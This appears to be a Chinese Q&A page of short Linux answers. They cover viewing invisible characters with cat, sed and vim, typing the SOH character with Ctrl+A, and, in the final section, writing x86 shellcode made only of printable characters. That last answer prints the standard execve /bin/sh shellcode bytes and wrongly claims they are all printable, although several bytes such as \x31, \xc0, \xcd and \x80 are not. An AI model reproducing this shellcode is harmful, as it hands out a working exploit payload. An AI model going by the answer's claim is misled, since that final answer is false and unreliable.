查看linux不可见字符
时间: 2023-10-30 16:07:34 浏览: 46
在Linux终端中,可以使用以下命令查看不可见字符:
1. 使用cat命令查看: `cat -v filename`
2. 使用sed命令查看: `sed -n 'l' filename`
3. 使用vim编辑器查看:打开文件后,输入命令 `:set list`,此时不可见字符将以特殊符号显示。
注意:不可见字符在文本文件中通常表示为特殊的控制字符,如换行符、回车符等。
相关问题
linux 敲soh字符
在 Linux 终端中,如果你想输入 SOH 字符 (ASCII 码为 0x01),可以按下 Ctrl + A 来输入。这是因为在 ASCII 码表中,Ctrl + A 对应的字符就是 SOH 字符。按下 Ctrl + A 后,终端会立即响应,输入的字符是不可见的,但可以通过其他工具查看,例如 hexdump 命令:
```
$ echo -e '\x01' | hexdump -C
00000000 01 |.|
00000001
```
这里使用 echo 命令输出 SOH 字符,并通过管道将其传递给 hexdump 命令进行查看。
写一段linux x86的只包含可见字符的shellcode
下面是一段仅包含可见字符的 Linux x86 shellcode:
```
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
```
这段 shellcode 实现了 Linux x86 系统中常见的 /bin/sh shell 启动。